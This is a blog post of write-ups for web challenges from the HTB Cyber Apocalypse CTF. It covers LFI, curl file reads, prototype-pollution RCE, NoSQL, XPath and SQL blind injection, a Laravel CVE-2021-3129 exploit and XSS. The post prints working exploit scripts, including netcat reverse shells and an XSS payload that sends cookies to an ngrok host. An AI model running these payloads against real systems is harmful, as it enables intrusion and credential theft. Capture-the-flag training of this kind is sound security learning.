CTF Cyber Apocalypse Writeups

HTB CTF Cyber Apocalypse

In this post I’m going to explain the challenges I solved during the HTB Cyber Apocalypse CTF. All of them are considered “Web” category. My team, called “ISwearIGoogledIt”, obtained the 139 place solving the half of the total challenges.

Inspector Gadget

Image alt
Image alt
In this challenge, you only needed to search the flag in the different parts of the web. The flag was divided between the JS, CSS or HTML. This challenge was an entry level web challenge.

MiniSTRyplace

Image alt
Image alt
The vulnerability in this challenge cames in the following piece of code:
Image alt
Image alt
In this part of the code, you can insert whatever you want replacing all the ‘../’ coincidences with ’’ (using php str_replace function) and then, is going to return that path in the filesystem. This is called Local File Inclusion (LFI) vulnerability and we only need to use some tricks to bypass that replace. In my case I use the following solution (Using httpie):

http "http://URL:PORT/?lang=..././..././flag" | grep -oP "CHTB{.\*}"

Caas

Image alt
Image alt

This challenge consists on a web that uses the tool Curl to check the status of websites. The piece of code is in the following screenshots:

Image alt
Image alt

My solution to this challenge was to trigger Curl, like we might do in a browser, to retrieve local files. To do that, I used the keyword “file://”. The final solution was:

http -f POST "http://138.68.132.86:30750/api/curl" "ip=file:///flag"

BlitzProp

Image alt
Image alt

This challenge was pretty similar to the challenge “Gunship”(writeup) of HTB University CTF 2020. This challenge was an AST injection described in this blog. To exploit this web, we first need to trigger the “unflatten” function with our payload and then the “pug.compile” function so that the server runs our payload. The vulnerable code of the challenge:

Image alt

My final exploit.py:

import requests

TARGET\_URL = 'http://URL:PORT'
#TARGET\_URL = 'http://localhost:1337'

# make pollution // Send Exploit
a = requests.post(TARGET\_URL + '/api/submit', json = {
    "__proto__.block": {
        "type": "Text", 
        "line": "process.mainModule.require('child_process').execSync(`rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/ash -i 2>&1|nc NGROKURL NGROKPORT >/tmp/f`)"
    },
})
# Trigger poll
a = requests.post(TARGET\_URL + '/api/submit', json = {
        "song.name": "Not Polluting with the boys"
})
# execute
requests.get(TARGET_URL)

WildGooseHunt

Image alt
Image alt

In this case, the problem was a NoSQL injection in the following code. The objective of the challenge was to retrieve the password (flag) of the user “admin”. So in this case, I start using the well-known repository PayloadAllTheThings.

Image alt
Image alt

Finally I crafted a python script to automatically retrieve the flag/pass of the “admin” user. Script:

import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()

username="admin"
password="CHTB{"
u="http://URL:PORT/api/login"
headers={'content-type': 'application/json'}

while True:
    for c in string.printable:
        if c not in ['*','+','.','?','|']:
            payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
            r = requests.post(u, data = payload, headers = headers, verify = False, allow_redirects = False)
            if 'Successful' in r.text:
                print("Found one more char : %s" % (password+c))
                password += c

In the following screenshot we can see the script running. Also the final flag was CHTB{1_th1nk_the_4l1ens_h4ve_n0t_used_m0ng0_b3f0r3}.

Image alt

DaaS

Image alt
Image alt

In this challenge, you needed to find something related to Laravel and the debug page, like the problem statement said. This was an exploitation challenge using CVE-2021-3129. In my case, I found one web explaining the bug (blog) and another one with the exploit (github). So, my final exploit was:

php -d'phar.readonly=0' ./phpggc --phar phar -o /tmp/exploit.phar --fast-destruct monolog/rce1 system "nc -e /bin/sh NGROKURL NGROKPORT"
./laravel-ignition-rce.py http://URL:PORT/ /tmp/exploit.phar

E.Tree

Image alt
Image alt

The topic in this challenge was new for me. The downloaded part of the challenge consisted in an XML file called “military.xml”. Working a bit with the challenge I discovered that the user inserted in the search part of the web was executed in the query:

/military/district/staff[name='USERWEINSERTED']

After some hours doing a lot of searches I found that the objective of the challenge was to exfiltrate the flag using substring in this technology, called XPath (XML Path Language). Also the “military.xml” of the downloaded part of the challenge was the hint about the structure of the xml. The trick was to add some injection in the query, searching letter by letter the flag. One of the best resources I found to XPath injection was HackTricks. Another hours later, I finally wrote the next script to exfiltrate the flag:

import requests
import string

flag = ""
l = 0
alphabet = string.ascii_letters + string.digits + "!#$%&()*+,-./:;<=>?@[\]^_{|}~." 
URL = "http://URL:PORT/api/search"
headers={'content-type': 'application/json'}

for i in range(1,70):
    # If there are no more character
    if not (len(flag) + 1 == i):
        break

    for al in alphabet:
        # The flag was divided in two parts of the xml
        #payload = "a' or substring((/military/district[position()=2]/staff[position()=3]/selfDestructCode),1," + str(i) + ")='" + str(flag)+ str(al) +""
        payload = "a' or substring((/military/district[position()=3]/staff[position()=2]/selfDestructCode),1," + str(i) + ")='" + str(flag)+ str(al) +""
        parameter = "{\"search\":\"" + str(payload) + "\"}"
        headers={'content-type': 'application/json'}

        r = requests.post(URL, data = parameter, headers = headers, verify = False, allow_redirects = False)
        if "exists" in r.text:
            flag += str(al)
            print("[*] Flag: " + str(flag))
            break

In the following screenshot you can see the script working. Finally the flag was CHTB{Th3_3xTr4_l3v3l_4Cc3s$_c0nTr0l}.

Emoji Voting

Image alt
Image alt

In this case, the challenge was to exploit a SQL Injection in the database. In the following screenshot we can see that first we need to extract the table in which is saved the flag because the name is created with the function rand. Furthermore, we need to add the SQL Injection in the next query: UPDATE emojis SET count = count + 1 WHERE id = OURINJECTION. In order to retrieve the flag I used this blog. Also, after some queries I realised that I required to change the keywords to sqlite schema.

Image alt
Image alt
Image alt

Finally, after a bunch of manual queries, I wrote the following script:

import requests
import string

URL = "http://URL:PORT/api/list"
ch = ord('f')
payload = "count DESC" # NORMAL
payload = "(CASE WHEN(SELECT UNICODE(SUBSTR(name,1,1)) FROM emojis WHERE id='1')=97 THEN count ELSE name END) ASC" # WORKS
payload = "(CASE WHEN(SELECT UNICODE(SUBSTR(name,1,1)) FROM sqlite_master WHERE type='table' LIMIT 1 OFFSET 0)=" + str(ch) + " THEN count ELSE name END) ASC"
complete = "SELECT * FROM emojis ORDER BY " + payload
parameter = {'order': payload}

# One case
# Reference: https://portswigger.net/support/sql-injection-in-the-query-structure
# SQLite schema: https://sqlite.org/schematab.html
#print("[*] Payload: \n\t" + payload)
#print("[*] SQL: \n\t" + complete)
#
#r = requests.post(URL, data = parameter)
#
#print("[*] Response: \n\t" + r.text)
#
#if "1" in r.text[7]:
#    print("[*] False")
#if "3" in r.text[7]:
#    print("[*] True")


# Return the table flag_XXXXXXXXXX (hex)
# Know it because if yo use node:
# const crypto = require('crypto');
# rand = crypto.randomBytes(5).toString('hex'); console.log(rand.length)
#l = string.hexdigits
#flag = "flag_"
#for i in range(5,17):
#    for ch in l:
#        ch = ord(ch)
#        payload = "(CASE WHEN(SELECT UNICODE(SUBSTR(name,"+str(i)+","+str(i)+")) FROM sqlite_master WHERE type='table' LIMIT 1 OFFSET 0)=" + str(ch) + " THEN count ELSE name END) ASC"
#        parameter = {'order': payload}
#        r = requests.post(URL, data = parameter)
#
#        if "3" in r.text[7]:
#            flag += chr(ch)
#            print("[*] Flag table: " + str(flag))
#            break

# Table: flag_a41b3a6179

# Return the flag
l = string.ascii_letters + string.digits + "!\" #$%&'()*+,-./:;<=>?@[\\]^_`{|} ~."
flag = ""
for i in range(0,70):
    for ch in l:
        ch = ord(ch)
        payload = "(CASE WHEN(SELECT UNICODE(SUBSTR(flag,"+str(i)+","+str(i)+")) FROM flag_a41b3a6179 LIMIT 1 OFFSET 0)=" + str(ch) + " THEN count ELSE name END) ASC"
        parameter = {'order': payload}
        r = requests.post(URL, data = parameter)

        if "3" in r.text[7]:
            flag += chr(ch)
            print("[*] Flag: " + str(flag))
            break 

I included some screenshots of the script running. Finally the flag was CHTB{order_me_this_juicy_info}.

Image alt
Image alt

Bug Report

Image alt
Image alt

In this challenge an XSS was required in order to retrive the cookie from the bot. After beeing thinking around the challenge for a while, I found out the cookie was only setted for the localhost (doc) like we see in the following screenshot showing the code.

Image alt

After some proves and thinking how to trigger XSS in the bot to retrieve the cookie (flag), I found that adding in the url the payload worked like you could see in the next screenshot. So finally, the payload was:

http://127.0.0.1:1337/<script>window.location="http://NGROKURL/".concat(document.cookie);</script>.

The flag was: CHTB{th1s_1s_my_bug_r3p0rt}.

Image alt
Image alt

Alberto Fernandez-de-Retana
Alberto Fernandez-de-Retana
PhD Student

Kaixo! PhD Student at University of Deusto under supervision of Igor Santos-Grueiro and Pablo G. Bringas. My research interests include web security & privacy. In my free time I love to be pizzaiolo.